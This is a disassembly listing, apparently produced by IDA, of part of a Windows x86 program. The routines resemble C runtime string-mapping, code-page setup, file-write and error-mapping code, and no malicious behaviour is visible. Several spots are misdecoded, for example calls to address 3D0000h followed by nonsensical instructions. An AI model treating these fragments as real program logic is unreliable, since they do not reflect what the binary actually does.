[ebp+var_4] jnz short loc_41BD05 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_41BCF0: ; CODE XREF: sub_41BBF9+104j cmp eax, ecx jnb short loc_41BCFF cmp byte ptr [eax], 0Ah jnz short loc_41BCFC inc [ebp+arg_0] loc_41BCFC: ; CODE XREF: sub_41BBF9+FEj inc eax jmp short loc_41BCF0 ; --------------------------------------------------------------------------- loc_41BCFF: ; CODE XREF: sub_41BBF9+F9j test byte ptr [edi+0Dh], 20h jmp short loc_41BD39 ; --------------------------------------------------------------------------- loc_41BD05: ; CODE XREF: sub_41BBF9+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_41BB5F mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_41BD2C mov ecx, [edi+0Ch] test cl, 8 jz short loc_41BD2C test ch, 4 jz short loc_41BD2F loc_41BD2C: ; CODE XREF: sub_41BBF9+124j ; sub_41BBF9+12Cj mov eax, [edi+18h] loc_41BD2F: ; CODE XREF: sub_41BBF9+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_41BD39: ; CODE XREF: sub_41BBF9+10Aj jz short loc_41BD3E inc [ebp+arg_0] loc_41BD3E: ; CODE XREF: sub_41BBF9+D9j ; sub_41BBF9:loc_41BD39j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_41BD44: ; CODE XREF: sub_41BBF9+A4j ; sub_41BBF9+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_41BD4C: ; CODE XREF: sub_41BBF9+3Cj ; sub_41BBF9+8Dj ... pop edi pop esi pop ebx leave retn sub_41BBF9 endp ; --------------------------------------------------------------------------- loc_41BD51: ; CODE XREF: sub_417173+A3p ; sub_41AC51+A5p ... push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421878 push offset sub_41CDE8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp-18h], esp xor edi, edi cmp ds:dword_4694FC, edi jnz short loc_41BDC7 push edi push edi push 1 pop ebx push ebx push offset dword_421870 mov esi, 100h push esi push edi call ds:dword_421190 ; LCMapStringW test eax, eax jz short loc_41BDA5 mov ds:dword_4694FC, ebx jmp short loc_41BDC7 ; --------------------------------------------------------------------------- loc_41BDA5: ; CODE XREF: seg000:0041BD9Bj push edi push edi push ebx push offset dword_438FB4 push esi push edi call near ptr 3D0000h sbb al, [ebp+22840FC0h] add [eax], eax add bh, al add eax, offset dword_4694FC add al, [eax] ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_41BDC7: ; CODE XREF: seg000:0041BD7Fj ; seg000:0041BDA3j cmp [ebp+14h], edi jle short loc_41BDDC push dword ptr [ebp+14h] push dword ptr [ebp+10h] call sub_41BF75 pop ecx pop ecx mov [ebp+14h], eax loc_41BDDC: ; CODE XREF: seg000:0041BDCAj mov eax, ds:dword_4694FC cmp eax, 2 jnz short loc_41BE03 push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 3D0000h cmpsb jmp loc_41BEE1 ; --------------------------------------------------------------------------- loc_41BE03: ; CODE XREF: seg000:0041BDE4j cmp eax, 1 jnz loc_41BEDF cmp [ebp+20h], edi jnz short loc_41BE19 mov eax, ds:dword_469518 mov [ebp+20h], eax loc_41BE19: ; CODE XREF: seg000:0041BE0Fj push edi push edi push dword ptr [ebp+14h] push dword ptr [ebp+10h] mov eax, [ebp+24h] neg eax sbb eax, eax and eax, 8 inc eax push eax push dword ptr [ebp+20h] call ds:dword_421064 ; MultiByteToWideChar mov ebx, eax mov [ebp-1Ch], ebx cmp ebx, edi jz loc_41BEDF mov [ebp-4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_415D50 mov [ebp-18h], esp mov eax, esp mov [ebp-24h], eax or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_41BE74 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] xor edi, edi mov [ebp-24h], edi or dword ptr [ebp-4], 0FFFFFFFFh mov ebx, [ebp-1Ch] loc_41BE74: ; CODE XREF: seg000:0041BE5Fj cmp [ebp-24h], edi jz short loc_41BEDF push ebx push dword ptr [ebp-24h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push 1 push dword ptr [ebp+20h] call ds:dword_421064 ; MultiByteToWideChar test eax, eax jz short loc_41BEDF push edi push edi push ebx push dword ptr [ebp-24h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call ds:dword_421190 ; LCMapStringW mov esi, eax mov [ebp-28h], esi cmp esi, edi jz short loc_41BEDF test byte ptr [ebp+0Dh], 4 jz short loc_41BEF3 cmp [ebp+1Ch], edi jz loc_41BF6E cmp esi, [ebp+1Ch] jg short loc_41BEDF push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push ebx push dword ptr [ebp-24h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call ds:dword_421190 ; LCMapStringW test eax, eax jnz loc_41BF6E loc_41BEDF: ; CODE XREF: seg000:0041BE06j ; seg000:0041BE3Dj ... xor eax, eax loc_41BEE1: ; CODE XREF: seg000:0041BDFEj ; seg000:0041BF70j lea esp, [ebp-38h] mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41BEF3: ; CODE XREF: seg000:0041BEB1j mov dword ptr [ebp-4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_415D50 mov [ebp-18h], esp mov ebx, esp mov [ebp-20h], ebx or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_41BF27 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] xor edi, edi xor ebx, ebx or dword ptr [ebp-4], 0FFFFFFFFh mov esi, [ebp-28h] loc_41BF27: ; CODE XREF: seg000:0041BF13j cmp ebx, edi jz short loc_41BEDF push esi push ebx push dword ptr [ebp-1Ch] push dword ptr [ebp-24h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call ds:dword_421190 ; LCMapStringW test eax, eax jz short loc_41BEDF cmp [ebp+1Ch], edi push edi push edi jnz short loc_41BF4E push edi push edi jmp short loc_41BF54 ; --------------------------------------------------------------------------- loc_41BF4E: ; CODE XREF: seg000:0041BF48j push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] loc_41BF54: ; CODE XREF: seg000:0041BF4Cj push esi push ebx push 220h push dword ptr [ebp+20h] call ds:dword_421138 ; WideCharToMultiByte mov esi, eax cmp esi, edi jz loc_41BEDF loc_41BF6E: ; CODE XREF: seg000:0041BEB6j ; seg000:0041BED9j mov eax, esi jmp loc_41BEE1 ; =============== S U B R O U T I N E ======================================= sub_41BF75 proc near ; CODE XREF: seg000:0041BDD2p ; sub_41F825+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_41BF92 loc_41BF85: ; CODE XREF: sub_41BF75+1Bj cmp byte ptr [eax], 0 jz short loc_41BF92 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_41BF85 loc_41BF92: ; CODE XREF: sub_41BF75+Ej ; sub_41BF75+13j cmp byte ptr [eax], 0 pop esi jnz short loc_41BF9D sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_41BF9D: ; CODE XREF: sub_41BF75+21j mov eax, edx retn sub_41BF75 endp ; --------------------------------------------------------------------------- loc_41BFA0: ; CODE XREF: sub_41C364+Bp push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push dword ptr [ebp+8] call sub_41C139 mov esi, eax pop ecx cmp esi, ds:dword_46A8A4 mov [ebp+8], esi jz loc_41C12D xor ebx, ebx cmp esi, ebx jz loc_41C123 xor edx, edx mov eax, offset dword_4380D0 loc_41BFD4: ; CODE XREF: seg000:0041BFE1j cmp [eax], esi jz short loc_41C04A add eax, 30h inc edx cmp eax, offset dword_4381C0 jl short loc_41BFD4 lea eax, [ebp-18h] push eax push esi call near ptr 0CB0004h fild dword ptr [ebx-7AF0FE08h] and al, 1 ; --------------------------------------------------------------------------- db 2 dup(0), 6Ah ; --------------------------------------------------------------------------- inc eax xor eax, eax pop ecx mov edi, offset byte_46A9C0 cmp dword ptr [ebp-18h], 1 mov ds:dword_46A8A4, esi rep stosd stosb mov ds:dword_46AAC4, ebx jbe loc_41C109 cmp byte ptr [ebp-12h], 0 jz loc_41C0DF lea ecx, [ebp-11h] loc_41C027: ; CODE XREF: seg000:0041C0D9j mov dl, [ecx] test dl, dl jz loc_41C0DF movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41C038: ; CODE XREF: seg000:0041C048j cmp eax, edx ja loc_41C0D3 or ds:byte_46A9C1[eax], 4 inc eax jmp short loc_41C038 ; --------------------------------------------------------------------------- loc_41C04A: ; CODE XREF: seg000:0041BFD6j push 40h xor eax, eax pop ecx mov edi, offset byte_46A9C0 rep stosd lea esi, [edx+edx*2] mov [ebp-4], ebx shl esi, 4 stosb lea ebx, dword_4380E0[esi] loc_41C066: ; CODE XREF: seg000:0041C0A3j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41C099 loc_41C06D: ; CODE XREF: seg000:0041C097j mov dl, [ecx+1] test dl, dl jz short loc_41C099 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41C092 mov edx, [ebp-4] mov dl, ds:byte_4380C8[edx] loc_41C087: ; CODE XREF: seg000:0041C090j or ds:byte_46A9C1[eax], dl inc eax cmp eax, edi jbe short loc_41C087 loc_41C092: ; CODE XREF: seg000:0041C07Cj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41C06D loc_41C099: ; CODE XREF: seg000:0041C06Bj ; seg000:0041C072j inc dword ptr [ebp-4] add ebx, 8 cmp dword ptr [ebp-4], 4 jb short loc_41C066 mov eax, [ebp+8] mov ds:dword_46A8BC, 1 push eax mov ds:dword_46A8A4, eax call sub_41C183 lea esi, dword_4380D4[esi] mov edi, offset dword_46A8B0 movsd movsd pop ecx mov ds:dword_46AAC4, eax movsd jmp short loc_41C128 ; --------------------------------------------------------------------------- loc_41C0D3: ; CODE XREF: seg000:0041C03Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41C027 ; CODE XREF: sub_41C139+1Fj loc_41C0DF: ; CODE XREF: seg000:0041C01Ej ; seg000:0041C02Bj push 1 pop eax loc_41C0E2: ; CODE XREF: seg000:0041C0EFj or ds:byte_46A9C1[eax], 8 inc eax cmp eax, 0FFh jb short loc_41C0E2 push esi call sub_41C183 pop ecx mov ds:dword_46AAC4, eax mov ds:dword_46A8BC, 1 jmp short loc_41C10F ; --------------------------------------------------------------------------- loc_41C109: ; CODE XREF: seg000:0041C014j mov ds:dword_46A8BC, ebx loc_41C10F: ; CODE XREF: seg000:0041C107j xor eax, eax mov edi, offset dword_46A8B0 stosd stosd stosd jmp short loc_41C128 ; --------------------------------------------------------------------------- cmp ds:dword_469520, ebx jz short loc_41C131 loc_41C123: ; CODE XREF: seg000:0041BFC7j call sub_41C1B6 loc_41C128: ; CODE XREF: seg000:0041C0D1j ; seg000:0041C119j call sub_41C1DF loc_41C12D: ; CODE XREF: seg000:0041BFBDj xor eax, eax jmp short loc_41C134 ; --------------------------------------------------------------------------- loc_41C131: ; CODE XREF: seg000:0041C121j or eax, 0FFFFFFFFh loc_41C134: ; CODE XREF: seg000:0041C12Fj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_41C139 proc near ; CODE XREF: seg000:0041BFACp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and ds:dword_469520, 0 cmp eax, 0FFFFFFFEh jnz short near ptr loc_41C158+1 mov ds:dword_469520, 1 call near ptr 3D0000h loc_41C158: ; CODE XREF: sub_41C139+Ej jecxz short near ptr loc_41C0D9+4 clc std jnz short loc_41C16E mov ds:dword_469520, 1 call near ptr 0C90004h cwde loc_41C16E: ; CODE XREF: sub_41C139+23j cmp eax, 0FFFFFFFCh jnz short locret_41C182 mov eax, ds:dword_469518 mov ds:dword_469520, 1 locret_41C182: ; CODE XREF: sub_41C139+38j retn sub_41C139 endp ; =============== S U B R O U T I N E ======================================= sub_41C183 proc near ; CODE XREF: seg000:0041C0B8p ; seg000:0041C0F2p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_41C1B0 sub eax, 4 jz short loc_41C1AA sub eax, 0Dh jz short loc_41C1A4 dec eax jz short loc_41C19E xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C19E: ; CODE XREF: sub_41C183+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_41C1A4: ; CODE XREF: sub_41C183+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_41C1AA: ; CODE XREF: sub_41C183+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_41C1B0: ; CODE XREF: sub_41C183+9j mov eax, 411h retn sub_41C183 endp ; =============== S U B R O U T I N E ======================================= sub_41C1B6 proc near ; CODE XREF: seg000:loc_41C123p push edi push 40h pop ecx xor eax, eax mov edi, offset byte_46A9C0 rep stosd stosb xor eax, eax mov edi, offset dword_46A8B0 mov ds:dword_46A8A4, eax mov ds:dword_46A8BC, eax mov ds:dword_46AAC4, eax stosd stosd stosd pop edi retn sub_41C1B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C1DF proc near ; CODE XREF: seg000:loc_41C128p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push ds:dword_46A8A4 call near ptr 0CD0004h dec ebp cmp eax, 1 jnz loc_41C318 xor eax, eax mov esi, 100h loc_41C209: ; CODE XREF: sub_41C1DF+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_41C209 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_41C25A push ebx push edi lea edx, [ebp+var_D] loc_41C228: ; CODE XREF: sub_41C1DF+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_41C24F sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_41C24F: ; CODE XREF: sub_41C1DF+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_41C228 pop edi pop ebx loc_41C25A: ; CODE XREF: sub_41C1DF+42j push 0 lea eax, [ebp+var_514] push ds:dword_46AAC4 push ds:dword_46A8A4 push eax lea eax, [ebp+var_114] push esi push eax push 1 call loc_41D1D7 push 0 lea eax, [ebp+var_214] push ds:dword_46A8A4 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push ds:dword_46AAC4 call loc_41BD51 push 0 lea eax, [ebp+var_314] push ds:dword_46A8A4 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push ds:dword_46AAC4 call loc_41BD51 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_41C2D5: ; CODE XREF: sub_41C1DF+135j mov dx, [ecx] test dl, 1 jz short loc_41C2F3 or ds:byte_46A9C1[eax], 10h mov dl, [ebp+eax+var_214] loc_41C2EB: ; CODE XREF: sub_41C1DF+127j mov ds:byte_46A8C0[eax], dl jmp short loc_41C30F ; --------------------------------------------------------------------------- loc_41C2F3: ; CODE XREF: sub_41C1DF+FCj test dl, 2 jz short loc_41C308 or ds:byte_46A9C1[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_41C2EB ; --------------------------------------------------------------------------- loc_41C308: ; CODE XREF: sub_41C1DF+117j and ds:byte_46A8C0[eax], 0 loc_41C30F: ; CODE XREF: sub_41C1DF+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_41C2D5 jmp short loc_41C361 ; --------------------------------------------------------------------------- loc_41C318: ; CODE XREF: sub_41C1DF+1Dj xor eax, eax mov esi, 100h loc_41C31F: ; CODE XREF: sub_41C1DF+180j cmp eax, 41h jb short loc_41C33D cmp eax, 5Ah ja short loc_41C33D or ds:byte_46A9C1[eax], 10h mov cl, al add cl, 20h loc_41C335: ; CODE XREF: sub_41C1DF+174j mov ds:byte_46A8C0[eax], cl jmp short loc_41C35C ; --------------------------------------------------------------------------- loc_41C33D: ; CODE XREF: sub_41C1DF+143j ; sub_41C1DF+148j cmp eax, 61h jb short loc_41C355 cmp eax, 7Ah ja short loc_41C355 or ds:byte_46A9C1[eax], 20h mov cl, al sub cl, 20h jmp short loc_41C335 ; --------------------------------------------------------------------------- loc_41C355: ; CODE XREF: sub_41C1DF+161j ; sub_41C1DF+166j and ds:byte_46A8C0[eax], 0 loc_41C35C: ; CODE XREF: sub_41C1DF+15Cj inc eax cmp eax, esi jb short loc_41C31F loc_41C361: ; CODE XREF: sub_41C1DF+137j pop esi leave retn sub_41C1DF endp ; =============== S U B R O U T I N E ======================================= sub_41C364 proc near ; CODE XREF: seg000:0041C7ABp ; sub_41C7FA+Dp ... cmp ds:dword_46AAEC, 0 jnz short locret_41C37F push 0FFFFFFFDh call loc_41BFA0 pop ecx mov ds:dword_46AAEC, 1 locret_41C37F: ; CODE XREF: sub_41C364+7j retn sub_41C364 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C380 proc near ; CODE XREF: sub_417328+2Bp ; sub_417328+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp ds:dword_46A8BC, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_41C3A4 push [ebp+arg_8] push [ebp+arg_4] push edi call sub_416D20 add esp, 0Ch jmp short loc_41C407 ; --------------------------------------------------------------------------- loc_41C3A4: ; CODE XREF: sub_41C380+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_41C3E9 mov ecx, [ebp+arg_4] loc_41C3AF: ; CODE XREF: sub_41C380+5Bj mov al, [ecx] dec edx movzx esi, al test ds:byte_46A9C1[esi], 4 mov [edi], al jz short loc_41C3D3 inc edi inc ecx test edx, edx jz short loc_41C3DF mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_41C3E5 jmp short loc_41C3D9 ; --------------------------------------------------------------------------- loc_41C3D3: ; CODE XREF: sub_41C380+3Ej inc edi inc ecx test al, al jz short loc_41C3E9 loc_41C3D9: ; CODE XREF: sub_41C380+51j test edx, edx jnz short loc_41C3AF jmp short loc_41C3E9 ; --------------------------------------------------------------------------- loc_41C3DF: ; CODE XREF: sub_41C380+44j and byte ptr [edi-1], 0 jmp short loc_41C3E9 ; --------------------------------------------------------------------------- loc_41C3E5: ; CODE XREF: sub_41C380+4Fj and byte ptr [edi-2], 0 loc_41C3E9: ; CODE XREF: sub_41C380+2Aj ; sub_41C380+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_41C404 lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_41C404: ; CODE XREF: sub_41C380+6Fj mov eax, [ebp+arg_0] loc_41C407: ; CODE XREF: sub_41C380+22j pop edi pop ebp retn sub_41C380 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C40A proc near ; CODE XREF: sub_4175DF+A2p ; sub_417C17+95p ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, ds:dword_46A8A0 push esi push edi jnb loc_41C59E mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:46A7A0h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_41C59E xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_41C45B loc_41C454: ; CODE XREF: sub_41C40A+177j xor eax, eax jmp loc_41C5B2 ; --------------------------------------------------------------------------- loc_41C45B: ; CODE XREF: sub_41C40A+48j test al, 20h jz short loc_41C46B push 2 push edi push ecx call sub_41BB5F add esp, 0Ch loc_41C46B: ; CODE XREF: sub_41C40A+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_41C53A mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_41C572 loc_41C48B: ; CODE XREF: sub_41C40A+F5j lea eax, [ebp+var_414] loc_41C491: ; CODE XREF: sub_41C40A+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_41C4C5 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_41C4B0 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_41C4B0: ; CODE XREF: sub_41C40A+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_41C491 loc_41C4C5: ; CODE XREF: sub_41C40A+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 3D0000h pop ebp test eax, eax jz short loc_41C52F mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_41C501 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_41C48B loc_41C501: ; CODE XREF: sub_41C40A+EAj ; sub_41C40A+12Ej xor edi, edi loc_41C503: ; CODE XREF: sub_41C40A+150j ; sub_41C40A+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_41C599 cmp [ebp+arg_0], edi jz short loc_41C572 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_41C567 mov ds:dword_469474, 9 mov ds:dword_469478, eax jmp loc_41C5AF ; --------------------------------------------------------------------------- loc_41C52F: ; CODE XREF: sub_41C40A+E0j call ds:dword_421088 ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_41C501 ; --------------------------------------------------------------------------- loc_41C53A: ; CODE XREF: sub_41C40A+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call near ptr 3D0000h sti test eax, eax jz short loc_41C55C mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_41C503 ; --------------------------------------------------------------------------- loc_41C55C: ; CODE XREF: sub_41C40A+145j call ds:dword_421088 ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_41C503 ; --------------------------------------------------------------------------- loc_41C567: ; CODE XREF: sub_41C40A+10Fj push [ebp+arg_0] call sub_41C5B7 pop ecx jmp short loc_41C5AF ; --------------------------------------------------------------------------- loc_41C572: ; CODE XREF: sub_41C40A+7Bj ; sub_41C40A+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_41C587 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_41C454 loc_41C587: ; CODE XREF: sub_41C40A+16Fj mov ds:dword_469474, 1Ch mov ds:dword_469478, edi jmp short loc_41C5AF ; --------------------------------------------------------------------------- loc_41C599: ; CODE XREF: sub_41C40A+FEj sub eax, [ebp+var_10] jmp short loc_41C5B2 ; --------------------------------------------------------------------------- loc_41C59E: ; CODE XREF: sub_41C40A+15j ; sub_41C40A+37j and ds:dword_469478, 0 mov ds:dword_469474, 9 loc_41C5AF: ; CODE XREF: sub_41C40A+120j ; sub_41C40A+166j ... or eax, 0FFFFFFFFh loc_41C5B2: ; CODE XREF: sub_41C40A+4Cj ; sub_41C40A+192j pop edi pop esi pop ebx leave retn sub_41C40A endp ; =============== S U B R O U T I N E ======================================= sub_41C5B7 proc near ; CODE XREF: sub_4176E9+16p ; sub_4178DC+1Dp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov ds:dword_469478, ecx mov eax, offset dword_4381C0 loc_41C5C8: ; CODE XREF: sub_41C5B7+1Ej cmp ecx, [eax] jz short loc_41C5EC add eax, 8 inc edx cmp eax, offset dword_438328 jl short loc_41C5C8 cmp ecx, 13h jb short loc_41C5F9 cmp ecx, 24h ja short loc_41C5F9 mov ds:dword_469474, 0Dh retn ; --------------------------------------------------------------------------- loc_41C5EC: ; CODE XREF: sub_41C5B7+13j mov eax, ds:dword_4381C4[edx*8] mov ds:dword_469474, eax retn ; --------------------------------------------------------------------------- loc_41C5F9: ; CODE XREF: sub_41C5B7+23j ; sub_41C5B7+28j cmp ecx, 0BCh jb short loc_41C613 cmp ecx, 0CAh mov ds:dword_469474, 8 jbe short locret_41C61D loc_41C613: ; CODE XREF: sub_41C5B7+48j mov ds:dword_469474, 16h locret_41C61D: ; CODE XREF: sub_41C5B7+5Aj retn sub_41C5B7 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_41C75F test eax, eax pop ecx jz loc_41C753 mov ebx, [eax+8] test ebx, ebx jz loc_41C753 cmp ebx, 5 jnz short loc_41C64F and dword ptr [eax+8], 0 push 1 pop eax jmp loc_41C75C ; --------------------------------------------------------------------------- loc_41C64F: ; CODE XREF: seg000:0041C641j cmp ebx, 1 jz loc_41C74E mov ecx, ds:dword_469524 mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov ds:dword_469524, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_41C73E mov ecx, ds:dword_4383A0 mov edx, ds:dword_4383A4 add edx, ecx push esi cmp ecx, edx jge short loc_41C69E lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:438330h[esi*4] loc_41C695: ; CODE XREF: seg000:0041C69Cj and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_41C695 loc_41C69E: ; CODE XREF: seg000:0041C687j mov eax, [eax] mov esi, ds:dword_4383AC cmp eax, 0C000008Eh jnz short loc_41C6B9 mov ds:dword_4383AC, 83h jmp short loc_41C729 ; --------------------------------------------------------------------------- loc_41C6B9: ; CODE XREF: seg000:0041C6ABj cmp eax, 0C0000090h jnz short loc_41C6CC mov ds:dword_4383AC, 81h jmp short loc_41C729 ; --------------------------------------------------------------------------- loc_41C6CC: ; CODE XREF: seg000:0041C6BEj cmp eax, 0C0000091h jnz short loc_41C6DF mov ds:dword_4383AC, 84h jmp short loc_41C729 ; --------------------------------------------------------------------------- loc_41C6DF: ; CODE XREF: seg000:0041C6D1j cmp eax, 0C0000093h jnz short loc_41C6F2 mov ds:dword_4383AC, 85h jmp short loc_41C729 ; --------------------------------------------------------------------------- loc_41C6F2: ; CODE XREF: seg000:0041C6E4j cmp eax, 0C000008Dh jnz short loc_41C705 mov ds:dword_4383AC, 82h jmp short loc_41C729 ; --------------------------------------------------------------------------- loc_41C705: ; CODE XREF: seg000:0041C6F7j cmp eax, 0C000008Fh jnz short loc_41C718 mov ds:dword_4383AC, 86h jmp short loc_41C729 ; --------------------------------------------------------------------------- loc_41C718: ; CODE XREF: seg000:0041C70Aj cmp eax, 0C0000092h jnz short loc_41C729 mov ds:dword_4383AC, 8Ah loc_41C729: ; CODE XREF: seg000:0041C6B7j ; seg000:0041C6CAj ... push ds:dword_4383AC push 8 call ebx pop ecx mov ds:dword_4383AC, esi pop ecx pop esi jmp short loc_41C746 ; --------------------------------------------------------------------------- loc_41C73E: ; CODE XREF: seg000:0041C670j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_41C746: ; CODE XREF: seg000:0041C73Cj mov eax, [ebp+8] mov ds:dword_469524, eax loc_41C74E: ; CODE XREF: seg000:0041C652j or eax, 0FFFFFFFFh jmp short loc_41C75C ; --------------------------------------------------------------------------- loc_41C753: ; CODE XREF: seg000:0041C62Dj ; seg000:0041C638j push dword ptr [ebp+0Ch] call ds:dword_4211A0 ; UnhandledExceptionFilter loc_41C75C: ; CODE XREF: seg000:0041C64Aj ; seg000:0041C751j pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_41C75F proc near ; CODE XREF: seg000:0041C625p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, ds:dword_4383A8 cmp ds:dword_438328, edx push esi mov eax, offset dword_438328 jz short loc_41C78C lea esi, [ecx+ecx*2] lea esi, ds:438328h[esi*4] loc_41C781: ; CODE XREF: sub_41C75F+2Bj add eax, 0Ch cmp eax, esi jnb short loc_41C78C cmp [eax], edx jnz short loc_41C781 loc_41C78C: ; CODE XREF: sub_41C75F+16j ; sub_41C75F+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:438328h[ecx*4] cmp eax, ecx jnb short loc_41C79F cmp [eax], edx jz short locret_41C7A1 loc_41C79F: ; CODE XREF: sub_41C75F+3Aj xor eax, eax locret_41C7A1: ; CODE XREF: sub_41C75F+3Ej retn sub_41C75F endp ; --------------------------------------------------------------------------- cmp ds:dword_46AAEC, 0 jnz short loc_41C7B0 call sub_41C364 loc_41C7B0: ; CODE XREF: seg000:0041C7A9j push esi mov esi, ds:dword_46AAE4 mov al, [esi] cmp al, 22h jnz short loc_41C7E2 loc_41C7BD: ; CODE XREF: 